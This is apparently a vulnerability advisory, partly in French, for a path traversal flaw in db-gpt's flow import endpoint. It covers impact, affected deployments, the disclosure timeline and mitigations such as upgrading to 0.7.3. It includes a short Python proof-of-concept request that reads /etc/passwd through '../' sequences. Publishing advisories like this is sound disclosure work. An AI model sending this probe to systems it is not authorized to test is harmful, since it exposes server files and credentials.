eosphoros-ai db-gpt import import_flow traversal de chemin

L'exploitation réussie de cette vulnérabilité permet à un attaquant de lire des fichiers arbitraires sur le système de fichiers du serveur. Cela peut inclure des fichiers de configuration contenant des informations sensibles, des clés API, des mots de passe, ou même du code source. En fonction de la configuration du serveur et des permissions des fichiers, l'attaquant pourrait potentiellement compromettre l'ensemble de l'application et accéder à des données confidentielles. La divulgation publique de la preuve de concept augmente considérablement le risque d'exploitation.

Organizations deploying db-gpt in production environments, particularly those with publicly accessible API endpoints, are at risk. Shared hosting environments where multiple users share the same server instance are also particularly vulnerable, as a compromise of one user's instance could lead to access to other users' data. Systems using older, unpatched versions of db-gpt are most susceptible.

• python / server:

import os
import requests

url = 'http://your-db-gpt-server/api/v2/serve/awel/flow/import'

# Attempt path traversal
file_param = 'File=../../../../etc/passwd'

# Send the request
response = requests.post(url, data={'import_flow': file_param})

# Check for sensitive file content in the response
if 'root:' in response.text:
    print('Potential Path Traversal Detected!')
else:
    print('No Path Traversal Detected.')

1. 2025-06-27Disclosure

   disclosure

1. Réservé2025-06-27
2. Publiée2025-06-27
3. EPSS mis à jour2026-03-23

La mitigation immédiate consiste à mettre à jour db-gpt vers la version 0.7.3, qui corrige cette vulnérabilité. Si la mise à jour n'est pas possible immédiatement, une solution temporaire pourrait consister à restreindre les permissions d'accès aux fichiers sensibles sur le serveur. Il est également recommandé de surveiller les journaux d'accès du serveur pour détecter toute tentative d'accès suspecte aux fichiers. Un pare-feu applicatif web (WAF) configuré pour bloquer les requêtes contenant des séquences de path traversal (../) pourrait également offrir une protection partielle.